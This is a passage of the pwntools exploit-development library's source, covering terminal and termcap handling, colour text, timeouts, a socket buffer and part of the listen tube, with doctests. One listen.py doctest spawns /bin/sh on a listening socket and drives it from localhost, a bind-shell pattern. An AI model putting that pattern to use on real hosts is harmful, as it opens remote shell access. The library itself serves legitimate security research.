+= 1\n    cached_pos = None\n    setup_done = False\n\ndef setupterm():\n    global settings, setup_done\n    if setup_done:\n        return\n    setup_done = True\n    hide_cursor()\n    update_geometry()\n    do('smkx') # keypad mode\n    mode = termios.tcgetattr(fd)\n    IFLAG, OFLAG, CFLAG, LFLAG, ISPEED, OSPEED, CC = range(7)\n    if not settings:\n        settings = mode[:]\n        settings[CC] = settings[CC][:]\n    mode[LFLAG] &= ~(termios.ECHO | termios.ICANON | termios.IEXTEN)\n    mode[CC][termios.VMIN] = 1\n    mode[CC][termios.VTIME] = 0\n    termios.tcsetattr(fd, termios.TCSADRAIN, mode)\n    fd.flush()\n\ndef resetterm():\n    global settings, setup_done\n    if settings:\n        termios.tcsetattr(fd, termios.TCSADRAIN, settings)\n        settings = None\n    if setup_done:\n        setup_done = False\n        show_cursor()\n        do('rmkx')\n        fd.flush()\n\ndef init():\n    atexit.register(resetterm)\n    signal.signal(signal.SIGWINCH, handler_sigwinch)\n    signal.signal(signal.SIGTSTP, handler_sigstop)\n    signal.signal(signal.SIGCONT, handler_sigcont)\n    class Wrapper:\n        def __init__(self, fd):\n            self._fd = fd\n        def write(self, s):\n            return output(s, frozen=True)\n        def __getattr__(self, k):\n            return getattr(self._fd, k)\n    if sys.stdout.isatty():\n        sys.stdout = Wrapper(sys.stdout)\n    if sys.stderr.isatty():\n        sys.stderr = Wrapper(sys.stderr)\n\n    console = ContextType.defaults['log_console']\n    if console.isatty():\n        ContextType.defaults['log_console'] = Wrapper(console)\n\n    # freeze all cells if an exception is thrown\n    orig_hook = sys.excepthook\n    def hook(*args):\n        sys.stderr = sys.__stderr__\n        resetterm()\n        cells.clear()\n        if orig_hook:\n            orig_hook(*args)\n        else:\n            traceback.print_exception(*args)\n    sys.excepthook = hook\n\ntmap = {c: '\\\\x{:02x}'.format(c) for c in set(range(0x20)) - {0x09, 0x0a, 0x0d, 0x1b} | {0x7f}}\n\ndef put(s):\n    global cached_pos, epoch\n    s = s.translate(tmap)\n    if cached_pos:\n        it = iter(s.replace('\\n', '\\r\\n'))\n        sanit_s = ''\n        for c in it:\n            if c == '\\r':\n                cached_pos[1] = 0\n            elif c == '\\n':\n                cached_pos[0] += 1\n            elif c == '\\t':\n                cached_pos[1] = (cached_pos[1] + 8) & -8\n            elif c in '\\x1b\\u009b':  # ESC or CSI\n                seq = c\n                for c in it:\n                    seq += c\n                    if c not in '[0123456789;':\n                        break\n                else:\n                    # unterminated ctrl seq, just print it visually\n                    c = seq.replace('\\x1b', r'\\x1b').replace('\\u009b', r'\\u009b')\n                    cached_pos[1] += len(c)\n\n                # if '\\e[123;123;123;123m' then nothing\n                if c == 'm':\n                    c = seq\n                else:\n                    # undefined ctrl seq, just print it visually\n                    c = seq.replace('\\x1b', r'\\x1b').replace('\\u009b', r'\\u009b')\n                    cached_pos[1] += len(c)\n            elif c < ' ':\n                assert False, 'impossible ctrl char'\n            else:\n                # normal character, nothing to see here\n                cached_pos[1] += 1\n            sanit_s += c\n        else:\n            s = sanit_s.replace('\\r\\n', '\\n')\n    return fd.write(s)\n\ndef do(c, *args):\n    s = termcap.get(c, *args)\n    if s:\n        fd.write(s.decode('utf-8'))\n\ndef goto(rc):\n    global cached_pos\n    r, c = rc\n    nowr, nowc = cached_pos or (None, None)\n    cached_pos = [r, c]\n    # common cases: we can just go up/down a couple rows\n    if c == 0:\n        if r == nowr + 1:\n            fd.write('\\n')\n            return\n        if c != nowc:\n            fd.write('\\r')\n    elif c != nowc:\n        do('hpa', c)\n\n    if r == nowr - 1:\n        do('cuu1')\n    elif r < nowr:\n        do('cuu', nowr - r)\n    elif r > nowr:\n        do('cud', r - nowr)\n\n\nclass Cell(object):\n    def __init__(self, value, float):\n        self.value = value\n        self.float = float\n\n    def draw(self):\n        self.pos = get_position()\n        self.born = epoch\n        put(self.value)\n        self.pos_after = get_position()\n\n    def update(self, value):\n        if isinstance(value, bytes):\n            value = value.decode('utf-8', 'backslashreplace')\n        with wlock:\n            want_erase_line = False\n            if '\\n' in value:\n                if len(value) < len(self.value):\n                    want_erase_line = True\n                elif '\\n' not in self.value:  # not really supported\n                    for cell in cells.iter_after(self):\n                        if cell.value:\n                            want_erase_line = True\n                        break\n            self.value = value\n            self.update_locked(erase_line=want_erase_line)\n            fd.flush()\n\n    def prepare_redraw(self):\n        global epoch\n        if self.born != epoch:\n            return None\n        saved = get_position()\n        if saved < self.pos or saved == (1, 1):\n            epoch += 1\n            return None\n        goto(self.pos)\n        return saved\n\n    def update_locked(self, erase_line=False):\n        prev_pos = self.prepare_redraw()\n        if prev_pos is None:\n            for cell in cells:\n                cell.draw()\n            return\n        erased_line = None\n        if erase_line:\n            do('el')\n            erased_line = self.pos[0]\n        put(self.value)\n        pos = get_position()\n        if pos == self.pos_after:\n            goto(prev_pos)\n            return\n        if pos < self.pos_after:\n            do('el')\n            erased_line = self.pos[0]\n        old_after = self.pos_after\n        self.pos_after = pos\n\n        cell = self  # in case there are no more cells\n        for cell in cells.iter_after(self):\n            if old_after != cell.pos:\n                # do not merge gaps\n                break\n            pos = get_position()\n            if erased_line != pos[0]:\n                if pos[0] < cell.pos[0]:\n                    # the cell moved up, erase its line\n                    do('el')\n                    erased_line = pos[0]\n                elif cell.pos == pos:\n                    # cell got neither moved nor erased\n                    break\n\n            if pos[1] < cell.pos[1]:\n                # the cell moved left, it must be same line as self; erase if not yet erased\n                if not erase_line and erased_line != pos[0]:\n                    do('el')\n                    erased_line = pos[0]\n\n            old_after = cell.pos_after\n            cell.draw()\n            if cell.pos_after == old_after and erased_line != old_after[0]:\n                break\n        else:\n            if cell.float:\n                # erase all screen after last float\n                do('ed')\n        if prev_pos > get_position():\n            goto(prev_pos)\n\n    def __repr__(self):\n        return '{}({!r}, float={}, pos={})'.format(self.__class__.__name__, self.value, self.float, self.pos)\n\n\nclass WeakCellList(object):\n    def __init__(self):\n        self._cells = []\n        self._floats = []\n        self._lists = self._cells, self._floats\n\n    @property\n    def cells(self):\n        return self.iter_field(self._cells)\n\n    @property\n    def floats(self):\n        return self.iter_field(self._floats)\n\n    def iter_field(self, *Ls):\n        for L in Ls:\n            for iref in L[:]:\n                i = iref()\n                if i is None:\n                    L.remove(iref)\n                else:\n                    yield i\n\n    def __iter__(self):\n        return self.iter_field(*self._lists)\n\n    def iter_after(self, v):\n        it = iter(self)\n        for cell in it:\n            if cell == v:\n                break\n        return it\n\n    def clear(self):\n        for c in self:\n            c.float = False\n        for L in self._lists:\n            del L[:]\n\n    def insert(self, v, before):\n        L = self._lists[v.float]\n        for i, e in enumerate(self.iter_field(L)):\n            if e == before:\n                L.insert(i, weakref.ref(v))\n                return\n        raise IndexError('output before dead cell')\n\n    def append(self, v):\n        L = self._lists[v.float]\n        L.append(weakref.ref(v))\n\n\ncells = WeakCellList()\n\n\ndef get_position():\n    global cached_pos\n    if not cached_pos:\n        cached_pos = [0, 0]\n    return tuple(cached_pos)\n\n\ndef output(s='', float=False, priority=10, frozen=False, indent=0, before=None):\n    with wlock:\n        if before:\n            float = before.float\n\n        if isinstance(s, bytes):\n            s = s.decode('utf-8', 'backslashreplace')\n        if frozen:\n            for f in cells.floats:\n                f.prepare_redraw()\n                do('ed')  # we could do it only when necessary\n                break\n            ret = put(s)\n            for f in cells.floats:\n                f.draw()\n            for f in cells.floats:\n                fd.flush()\n                break\n            return ret\n\n        c = Cell(s, float)\n        if before is None:\n            cells.append(c)\n            c.draw()\n        else:\n            before.prepare_redraw()\n            cells.insert(c, before)\n            c.draw()\n            for f in cells.iter_after(c):\n                f.draw()\n        return c\n"
  },
  {
    "path": "pwnlib/term/termcap.py",
    "content": "__all__ = ['get']\nimport sys\nif sys.platform == 'win32':\n    from pwnlib.term.windows_termcap import get\nelse:\n    from pwnlib.term.unix_termcap import get\n\n"
  },
  {
    "path": "pwnlib/term/text.py",
    "content": "import functools\nimport os\nimport sys\nimport types\n\nfrom pwnlib.term import termcap\n\n\ndef eval_when(when):\n    if hasattr(when, 'isatty') or \\\n      when in ('always', 'never', 'auto', sys.stderr, sys.stdout):\n        if os.environ.get('PWNLIB_COLOR') == 'always' or when == 'always':\n            return True\n        elif when == 'never':\n            return False\n        elif when == 'auto':\n            return sys.stdout.isatty()\n        else:\n            return when.isatty()\n    else:\n        raise ValueError('text.when: must be a file-object or \"always\", \"never\" or \"auto\"')\n\nclass Module(types.ModuleType):\n    def __init__(self):\n        self.__file__ = __file__\n        self.__name__ = __name__\n        self.num_colors = termcap.get('colors', default=8) if sys.platform == 'win32' else 8\n        self.when = 'auto'\n        self._colors = {\n            'black': 0,\n            'red': 1,\n            'green': 2,\n            'yellow': 3,\n            'blue': 4,\n            'magenta': 5,\n            'cyan': 6,\n            'white': 7,\n            }\n        self._reset = termcap.get('reset')\n        self._attributes = {}\n        for x, y in [('italic'   , 'sitm'),\n                     ('bold'     , 'bold'),\n                     ('underline', 'smul'),\n                     ('reverse'  , 'rev')]:\n            s = termcap.get(y)\n            if not hasattr(s, 'encode'):\n                s = s.decode('utf-8')\n            self._attributes[x] = s\n        self._cache = {}\n\n    @property\n    def when(self):\n        return self._when\n\n    @when.setter\n    def when(self, val):\n        self._when = eval_when(val)\n\n    @property\n    def has_bright(self):\n        return self.num_colors >= 16\n    \n    @property\n    def has_gray(self):\n        return self.has_bright\n\n    def _fg_color(self, c):\n        c = termcap.get('setaf', c) or termcap.get('setf', c)\n        if not hasattr(c, 'encode'):\n            c = c.decode('utf-8')\n        return c\n\n    def _bg_color(self, c):\n        c = termcap.get('setab', c) or termcap.get('setb', c)\n        if not hasattr(c, 'encode'):\n            c = c.decode('utf-8')\n        return c\n\n    def _decorator(self, desc, init):\n        def f(self, s, when = None):\n            if when:\n                if eval_when(when):\n                    return init + s + self._reset\n                else:\n                    return s\n            else:\n                if self.when:\n                    return init + s + self._reset\n                else:\n                    return s\n        setattr(Module, desc, f)\n        return functools.partial(f, self)\n\n    def __getattr__(self, desc):\n        if desc.startswith('_'):\n            raise AttributeError(desc)\n\n        try:\n            ds = desc.replace('gray', 'bright_black').split('_')\n            init = ''\n            while ds:\n                d = ds[0]\n                try:\n                    init += self._attributes[d]\n                    ds.pop(0)\n                except KeyError:\n                    break\n            def c():\n                bright = 0\n                c = ds.pop(0)\n                if c == 'bright':\n                    c = ds.pop(0)\n                    if self.has_bright:\n                        bright = 8\n                return self._colors[c] + bright\n            if ds:\n                if ds[0] == 'on':\n                    ds.pop(0)\n                    init += self._bg_color(c())\n                else:\n                    init += self._fg_color(c())\n                    if len(ds):\n                        assert ds.pop(0) == 'on'\n                        init += self._bg_color(c())\n            return self._decorator(desc, init)\n        except (IndexError, KeyError):\n            raise AttributeError(\"'module' object has no attribute %r\" % desc)\n\n    def get(self, desc):\n        return self.__getattr__(desc)\n\ntether = sys.modules[__name__]\nsys.modules[__name__] = Module()\n"
  },
  {
    "path": "pwnlib/term/unix_termcap.py",
    "content": "__all__ = ['get']\nimport curses\nimport os\nimport sys\n\ncache = None\n\ndef get(cap, *args, **kwargs):\n    default = kwargs.pop('default', '')\n\n    if 'PWNLIB_NOTERM' in os.environ:\n        return ''\n\n    # Hack for readthedocs.org\n    if 'READTHEDOCS' in os.environ:\n        return ''\n\n    if kwargs != {}:\n        raise TypeError(\"get(): No such argument %r\" % kwargs.popitem()[0])\n\n    if cache is None:\n        init()\n    s = cache.get(cap)\n    if not s:\n        s = curses.tigetstr(cap)\n        if s is None:\n            s = curses.tigetnum(cap)\n            if s == -2:\n                s = curses.tigetflag(cap)\n                if s == -1:\n                    # default to empty string so tparm doesn't fail\n                    s = b''\n                else:\n                    s = bool(s)\n        cache[cap] = s\n    # if `s' is not set `curses.tparm' will throw an error if given arguments\n    if args and s:\n        return curses.tparm(s, *args)\n    else:\n        return s\n\ndef init():\n    global cache\n\n    # Detect running under Jupyter\n    try:\n        if get_ipython().__class__.__name__ == 'ZMQInteractiveShell':\n            os.environ['PWNLIB_NOTERM'] = '1'\n            os.environ['JUPYTER_DETECTED'] ='yes'\n    except NameError:\n        pass\n\n    if 'PWNLIB_NOTERM' not in os.environ:\n        # Fix for BPython\n        try:\n            curses.setupterm()\n        except curses.error as e:\n            import traceback\n            print('Warning:', ''.join(traceback.format_exception_only(e.__class__, e)), file=sys.stderr)\n            print('Terminal features will not be available.  Consider setting TERM variable to your current terminal name (or xterm).', file=sys.stderr)\n            os.environ['PWNLIB_NOTERM'] = '1'\n\n    cache = {}\n    # Manually add reset sequence into the cache.\n    # Can't look it up using tigetstr.\n    cache['reset'] = '\\x1b[m'\n"
  },
  {
    "path": "pwnlib/term/windows_termcap.py",
    "content": "import os\nimport msvcrt\nimport ctypes\nimport sys\nfrom ctypes import wintypes\n\n__all__ = ['get']\n\ncache = None\n\ndef get(cap, *args, **kwargs):\n    default = kwargs.pop('default', '')\n\n    if 'PWNLIB_NOTERM' in os.environ:\n        return default\n\n    if kwargs != {}:\n        raise TypeError(\"get(): No such argument %r\" % kwargs.popitem()[0])\n\n    if cache is None:\n        init()\n    \n    s = cache.get(cap)\n    if s:\n        if args:\n            return s(*args)\n        return s\n    return default\n\ndef init():\n    global cache\n    cache = {}\n\n    if 'PWNLIB_NOTERM' not in os.environ:\n        try:\n            enable_vt_mode()\n        except:\n            # If the terminal doesn't support ANSI escape codes, don't use them.\n            return\n\n    # Setup capabilities similar to curses on unix.\n    # https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences\n    cache['colors'] = 256\n    cache['reset'] = '\\x1b[0m'\n    cache['bold'] = '\\x1b[1m'\n    cache['smul'] = '\\x1b[4m'\n    cache['rev'] = '\\x1b[7m'\n    cache['setaf'] = lambda c: '\\x1b[3{}m'.format(c) if c < 8 else '\\x1b[9{}m'.format(c-8)\n    cache['setab'] = lambda c: '\\x1b[4{}m'.format(c) if c < 8 else '\\x1b[10{}m'.format(c-8)\n\n# Enable ANSI escape sequences on Windows 10.\n# https://bugs.python.org/issue30075\nkernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n\nERROR_INVALID_PARAMETER = 0x0057\nENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004\n\ndef _check_bool(result, func, args):\n    if not result:\n        raise ctypes.WinError(ctypes.get_last_error())\n    return args\n\nLPDWORD = ctypes.POINTER(wintypes.DWORD)\nkernel32.GetConsoleMode.errcheck = _check_bool\nkernel32.GetConsoleMode.argtypes = (wintypes.HANDLE, LPDWORD)\nkernel32.SetConsoleMode.errcheck = _check_bool\nkernel32.SetConsoleMode.argtypes = (wintypes.HANDLE, wintypes.DWORD)\n\ndef set_conout_mode(new_mode, mask=0xffffffff):\n    # don't assume StandardOutput is a console.\n    # open CONOUT$ instead\n    fdout = os.open('CONOUT$', os.O_RDWR)\n    try:\n        hout = msvcrt.get_osfhandle(fdout)\n        old_mode = wintypes.DWORD()\n        kernel32.GetConsoleMode(hout, ctypes.byref(old_mode))\n        mode = (new_mode & mask) | (old_mode.value & ~mask)\n        kernel32.SetConsoleMode(hout, mode)\n        return old_mode.value\n    finally:\n        os.close(fdout)\n\ndef enable_vt_mode():\n    mode = mask = ENABLE_VIRTUAL_TERMINAL_PROCESSING\n    try:\n        return set_conout_mode(mode, mask)\n    except WindowsError as e:\n        if e.winerror == ERROR_INVALID_PARAMETER:\n            raise NotImplementedError\n        raise\n"
  },
  {
    "path": "pwnlib/testexample.py",
    "content": "\"\"\"\nModule-level documentation would go here, along with a general description\nof the functionality.  You can also add module-level doctests.\n\nYou can see what the documentation for this module will look like here:\nhttps://docs.pwntools.com/en/stable/testexample.html\n\nThe tests for this module are run when the documentation is automatically-generated\nby Sphinx.  This particular module is invoked by an \"automodule\" directive, which\nimports everything in the module, or everything listed in ``__all__`` in the module.\n\nThe doctests are automatically picked up by the ``>>>`` symbol, like from\nthe Python prompt.  For more on doctests, see the `Python documentation\n<https://docs.python.org/2/library/doctest.html>`_.\n\nAll of the syntax in this file is ReStructuredText.  You can find a\n`nice cheat sheet here <https://github.com/ralsina/rst-cheatsheet/blob/master/rst-cheatsheet.rst>`_.\n\nHere's an example of a module-level doctest:\n\n    >>> add(3, add(2, add(1, 0)))\n    6\n\nIf doctests are wrong / broken, you can disable them temporarily.\n\n    >>> add(2, 2) # doctest: +SKIP\n    5\n\nSome things in Python are non-deterministic, like ``dict`` or ``set``\nordering.  There are a lot of ways to work around this, but the\naccepted way of doing this is to test for equality.\n\n    >>> a = {a:a+1 for a in range(3)}\n    >>> a == {0:1, 1:2, 2:3}\n    True\n\nIn order to use other modules, they need to be imported from the RST\nwhich documents the module.\n\n    >>> os.path.basename('foo/bar')\n    'bar'\n\n\"\"\"\n\ndef add(a, b):\n    '''add(a, b) -> int\n\n    Adds the numbers ``a`` and ``b``.\n\n    Arguments:\n        a(int): First number to add\n        b(int): Second number to add\n\n    Returns:\n        The sum of ``a`` and ``b``.\n\n    Examples:\n\n        >>> add(1,2)\n        3\n        >>> add(-1, 33)\n        32\n    '''\n    return a+b\n"
  },
  {
    "path": "pwnlib/timeout.py",
    "content": "\"\"\"\nTimeout encapsulation, complete with countdowns and scope managers.\n\"\"\"\nimport time\n\nimport pwnlib\n\n\nclass _DummyContextClass(object):\n    def __enter__(self):   pass\n    def __exit__(self,*a): pass\n\n_DummyContext = _DummyContextClass()\n\nclass _countdown_handler(object):\n    def __init__(self, obj, timeout):\n        self.obj     = obj\n        self.timeout = timeout\n\n    def __enter__(self):\n        self.old_timeout  = self.obj._timeout\n        self.old_stop     = self.obj._stop\n\n        self.obj._stop    = time.time() + self.timeout\n\n        if self.old_stop:\n            self.obj._stop = min(self.obj._stop, self.old_stop)\n\n        self.obj._timeout = self.timeout\n        self.obj.timeout_change()\n    def __exit__(self, *a):\n        self.obj._timeout = self.old_timeout\n        self.obj._stop    = self.old_stop\n        self.obj.timeout_change()\n\nclass _local_handler(object):\n    def __init__(self, obj, timeout):\n        self.obj     = obj\n        self.timeout = timeout\n    def __enter__(self):\n        self.old_timeout  = self.obj._timeout\n        self.old_stop     = self.obj._stop\n\n        self.obj._stop    = 0\n        self.obj._timeout = self.timeout # leverage validation\n        self.obj.timeout_change()\n\n    def __exit__(self, *a):\n        self.obj._timeout = self.old_timeout\n        self.obj._stop    = self.old_stop\n        self.obj.timeout_change()\n\nclass TimeoutDefault(object):\n    def __repr__(self): return \"pwnlib.timeout.Timeout.default\"\n    def __str__(self): return \"<default timeout>\"\n\nclass Maximum(float):\n    def __repr__(self):\n        return 'pwnlib.timeout.maximum'\nmaximum = Maximum(2**20)\n\nclass Timeout(object):\n    \"\"\"\n    Implements a basic class which has a timeout, and support for\n    scoped timeout countdowns.\n\n    Valid timeout values are:\n\n    - ``Timeout.default`` use the global default value (``context.default``)\n    - ``Timeout.forever`` or :const:`None` never time out\n    - Any positive float, indicates timeouts in seconds\n\n    Example:\n\n        >>> context.timeout = 30\n        >>> t = Timeout()\n        >>> t.timeout == 30\n        True\n        >>> t = Timeout(5)\n        >>> t.timeout == 5\n        True\n        >>> i = 0\n        >>> with t.countdown():\n        ...     print(4 <= t.timeout and t.timeout <= 5)\n        ...\n        True\n        >>> with t.countdown(0.5): # doctest: +ELLIPSIS\n        ...     while t.timeout:\n        ...         print(round(t.timeout,1))\n        ...         time.sleep(0.1)\n        0.5\n        0.4\n        0.3\n        0.2\n        0.1\n        >>> print(t.timeout)\n        5.0\n        >>> with t.local(0.5):# doctest: +ELLIPSIS\n        ...     for i in range(5):\n        ...         print(round(t.timeout,1))\n        ...         time.sleep(0.1)\n        0.5\n        0.5\n        0.5\n        0.5\n        ...\n        >>> print(t.timeout)\n        5.0\n    \"\"\"\n\n\n    #: Value indicating that the timeout should not be changed\n    default = TimeoutDefault()\n\n    #: Value indicating that a timeout should not ever occur\n    forever = None\n\n    #: Maximum value for a timeout.  Used to get around platform issues\n    #: with very large timeouts.\n    #:\n    #: OSX does not permit setting socket timeouts to 2**22.\n    #: Assume that if we receive a timeout of 2**21 or greater,\n    #: that the value is effectively infinite.\n    maximum = maximum\n\n    def __init__(self, timeout=default):\n        self._stop    = 0\n        self.timeout = self._get_timeout_seconds(timeout)\n\n    @property\n    def timeout(self):\n        \"\"\"\n        Timeout for obj operations.  By default, uses ``context.timeout``.\n        \"\"\"\n        timeout = self._timeout\n        stop    = self._stop\n\n        if not stop:\n            return timeout\n\n        return max(stop-time.time(), 0)\n\n    @timeout.setter\n    def timeout(self, value):\n        assert not self._stop\n        self._timeout = self._get_timeout_seconds(value)\n        self.timeout_change()\n\n    def _get_timeout_seconds(self, value):\n        if value is self.default:\n            value = pwnlib.context.context.timeout\n\n        elif value is self.forever:\n            value = self.maximum\n\n        else:\n            value = float(value)\n\n            if value < 0:\n                raise AttributeError(\"timeout: Timeout cannot be negative\")\n\n            if value > self.maximum:\n                value = self.maximum\n        return value\n\n    def countdown_active(self):\n        return (self._stop == 0) or (self._stop > time.time())\n\n    def timeout_change(self):\n        \"\"\"\n        Callback for subclasses to hook a timeout change.\n        \"\"\"\n        pass\n\n    def countdown(self, timeout = default):\n        \"\"\"\n        Scoped timeout setter.  Sets the timeout within the scope,\n        and restores it when leaving the scope.\n\n        When accessing :attr:`timeout` within the scope, it will be\n        calculated against the time when the scope was entered, in a\n        countdown fashion.\n\n        If :const:`None` is specified for ``timeout``, then the current\n        timeout is used is made.  This allows :const:`None` to be specified\n        as a default argument with less complexity.\n        \"\"\"\n        # Don't count down from infinity\n        if timeout is self.maximum:\n            return _DummyContext\n\n        if timeout is self.default and self.timeout is self.maximum:\n            return _DummyContext\n\n        if timeout is self.default:\n            timeout = self._timeout\n\n        return _countdown_handler(self, timeout)\n\n    def local(self, timeout):\n        \"\"\"\n        Scoped timeout setter.  Sets the timeout within the scope,\n        and restores it when leaving the scope.\n        \"\"\"\n        if timeout is self.default or timeout == self.timeout:\n            return _DummyContext\n\n        return _local_handler(self, timeout)\n"
  },
  {
    "path": "pwnlib/tubes/__init__.py",
    "content": "\"\"\"The pwnlib is not a big truck! It's a series of tubes!\n\nThis is our library for talking to sockets, processes, ssh connections etc.\nOur goal is to be able to use the same API for e.g. remote TCP servers, local\nTTY-programs and programs run over over SSH.\n\nIt is organized such that the majority of the functionality is implemented\nin :class:`pwnlib.tubes.tube`. The remaining classes should only implement\njust enough for the class to work and possibly code pertaining only to\nthat specific kind of tube.\n\"\"\"\nfrom pwnlib.tubes import listen\nfrom pwnlib.tubes import process\nfrom pwnlib.tubes import remote\nfrom pwnlib.tubes import serialtube\nfrom pwnlib.tubes import server\nfrom pwnlib.tubes import sock\nfrom pwnlib.tubes import ssh\nfrom pwnlib.tubes import tube\n\n__all__ = ['tube', 'sock', 'remote', 'listen', 'process', 'serialtube', 'server', 'ssh']\n"
  },
  {
    "path": "pwnlib/tubes/buffer.py",
    "content": "from pwnlib.context import context\n\n\nclass Buffer(object):\n    \"\"\"\n    List of strings with some helper routines.\n\n    Example:\n\n        >>> b = Buffer()\n        >>> b.add(b\"A\" * 10)\n        >>> b.add(b\"B\" * 10)\n        >>> len(b)\n        20\n        >>> b.get(1)\n        b'A'\n        >>> len(b)\n        19\n        >>> b.get(9999)\n        b'AAAAAAAAABBBBBBBBBB'\n        >>> len(b)\n        0\n        >>> b.get(1)\n        b''\n\n    Implementation Details:\n\n        Implemented as a list.  Strings are added onto the end.\n        The ``0th`` item in the buffer is the oldest item, and\n        will be received first.\n    \"\"\"\n    def __init__(self, buffer_fill_size = None):\n        self.data = [] # Buffer\n        self.size = 0  # Length\n        self.buffer_fill_size = buffer_fill_size\n\n    def __len__(self):\n        \"\"\"\n        >>> b = Buffer()\n        >>> b.add(b'lol')\n        >>> len(b) == 3\n        True\n        >>> b.add(b'foobar')\n        >>> len(b) == 9\n        True\n        \"\"\"\n        return self.size\n\n    def __nonzero__(self):\n        return len(self) > 0\n\n    def __contains__(self, x):\n        \"\"\"\n        >>> b = Buffer()\n        >>> b.add(b'asdf')\n        >>> b'x' in b\n        False\n        >>> b.add(b'x')\n        >>> b'x' in b\n        True\n        \"\"\"\n        for b in self.data:\n            if x in b:\n                return True\n        return False\n\n    def index(self, x):\n        \"\"\"\n        >>> b = Buffer()\n        >>> b.add(b'asdf')\n        >>> b.add(b'qwert')\n        >>> b.index(b't') == len(b) - 1\n        True\n        \"\"\"\n        sofar = 0\n        for b in self.data:\n            if x in b:\n                return sofar + b.index(x)\n            sofar += len(b)\n        raise IndexError()\n\n    def add(self, data):\n        \"\"\"\n        Adds data to the buffer.\n\n        Arguments:\n            data(str,Buffer): Data to add\n        \"\"\"\n        # Fast path for ''\n        if not data: return\n\n        if isinstance(data, Buffer):\n            self.size += data.size\n            self.data += data.data\n        else:\n            self.size += len(data)\n            self.data.append(data)\n\n    def unget(self, data):\n        \"\"\"\n        Places data at the front of the buffer.\n\n        Arguments:\n            data(str,Buffer): Data to place at the beginning of the buffer.\n\n        Example:\n\n            >>> b = Buffer()\n            >>> b.add(b\"hello\")\n            >>> b.add(b\"world\")\n            >>> b.get(5)\n            b'hello'\n            >>> b.unget(b\"goodbye\")\n            >>> b.get()\n            b'goodbyeworld'\n        \"\"\"\n        if isinstance(data, Buffer):\n            self.data = data.data + self.data\n            self.size += data.size\n        else:\n            self.data.insert(0, data)\n            self.size += len(data)\n\n    def get(self, want=float('inf')):\n        \"\"\"\n        Retrieves bytes from the buffer.\n\n        Arguments:\n            want(int): Maximum number of bytes to fetch\n\n        Returns:\n            Data as string\n\n        Example:\n\n            >>> b = Buffer()\n            >>> b.add(b'hello')\n            >>> b.add(b'world')\n            >>> b.get(1)\n            b'h'\n            >>> b.get()\n            b'elloworld'\n        \"\"\"\n        # Fast path, get all of the data\n        if want >= self.size:\n            data   = b''.join(self.data)\n            self.size = 0\n            self.data = []\n            return data\n\n        # Slow path, find the correct-index chunk\n        have = 0\n        i    = 0\n        while want >= have:\n            have += len(self.data[i])\n            i    += 1\n\n        # Join the chunks, evict from the buffer\n        data   = b''.join(self.data[:i])\n        self.data = self.data[i:]\n\n        # If the last chunk puts us over the limit,\n        # stick the extra back at the beginning.\n        if have > want:\n            extra = data[want:]\n            data  = data[:want]\n            self.data.insert(0, extra)\n\n        # Size update\n        self.size -= len(data)\n\n        return data\n\n    def get_fill_size(self, size=None):\n        \"\"\"\n        Retrieves the default fill size for this buffer class.\n\n        Arguments:\n            size (int): (Optional) If set and not None, returns the size variable back.\n\n        Returns:\n            Fill size as integer if size is None, else size.\n        \"\"\"\n        if size is None:\n            size = self.buffer_fill_size\n\n        with context.local(buffer_size=size):\n            return context.buffer_size\n"
  },
  {
    "path": "pwnlib/tubes/listen.py",
    "content": "import errno\nimport socket\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.sock import sock\n\nlog = getLogger(__name__)\n\nclass listen(sock):\n    r\"\"\"Creates an TCP or UDP-socket to receive data on. It supports\n    both IPv4 and IPv6. You need to call :meth:`wait_for_connection`\n    before using the listen socket.\n\n    The returned object supports all the methods from\n    :class:`pwnlib.tubes.sock` and :class:`pwnlib.tubes.tube`.\n\n    Arguments:\n        port(int): The port to connect to.\n            Defaults to a port auto-selected by the operating system.\n        bindaddr(str): The address to bind to.\n            Defaults to ``0.0.0.0`` / `::`.\n        fam: The string \"any\", \"ipv4\" or \"ipv6\" or an integer to pass to :func:`socket.getaddrinfo`.\n        typ: The string \"tcp\" or \"udp\" or an integer to pass to :func:`socket.getaddrinfo`.\n\n    Examples:\n\n        >>> l = listen(1234)\n        >>> r = remote('localhost', l.lport)\n        >>> _ = l.wait_for_connection()\n        >>> l.sendline(b'Hello')\n        >>> r.recvline()\n        b'Hello\\n'\n\n        .. doctest::\n            :options: +POSIX +TODO\n            \n            >>> # It works with ipv4 by default\n            >>> l = listen()\n            >>> l.spawn_process('/bin/sh')\n            >>> r = remote('127.0.0.1', l.lport)\n            >>> r.sendline(b'echo Goodbye')\n            >>> r.recvline()\n            b'Goodbye\\n'\n\n        >>> # and it works with ipv6 by defaut, too!\n        >>> l = listen()\n        >>> r = remote('::1', l.lport)\n        >>> _ = l.wait_for_connection()\n        >>> r.sendline(b'Bye-bye')\n        >>> l.recvline()\n        b'Bye-bye\\n'\n    \"\"\"\n\n    #: Local port\n    lport = 0\n\n    #: Local host\n    lhost = None\n\n    #: Socket type (e.g. socket.SOCK_STREAM)\n    type = None\n\n    #: Socket family\n    family = None\n\n    #: Socket protocol\n    protocol = None\n\n    #: Canonical name of the listening interface\n    canonname = None\n\n    #: Sockaddr structure that is being listened on\n    sockaddr = None\n\n    _accepter = None\n\n    def __init__(self, port=0, bindaddr='::',\n                 fam='any', typ='tcp', *args, **kwargs):\n        super(listen, self).__init__(*args, **kwargs)\n\n        # convert port to string for sagemath support\n        port = str(port)\n\n        fam = self._get_family(fam)\n        typ = self._get_type(typ)\n\n        if fam == socket.AF_INET and bindaddr == '::':\n            bindaddr = '0.0.0.0'\n\n        h = self.waitfor('Trying to bind to %s on port %s' % (bindaddr, port))\n\n        for res in socket.getaddrinfo(bindaddr, port, fam, typ, 0, socket.AI_PASSIVE):\n            self.family, self.type, self.proto, self.canonname, self.sockaddr = res\n\n            if self.type not in [socket.SOCK_STREAM, socket.SOCK_DGRAM]:\n                continue\n\n            h.status(\"Trying %s\" % self.sockaddr[0])\n            listen_sock = socket.socket(self.family, self.type, self.proto)\n            listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            if self.family == socket.AF_INET6:\n                try:\n                    listen_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, fam == socket.AF_INET6)\n                except (socket.error, AttributeError):\n                    self.warn(\"could not set socket to accept also IPV4\")\n            listen_sock.bind(self.sockaddr)\n            self.lhost, self.lport = listen_sock.getsockname()[:2]\n            if 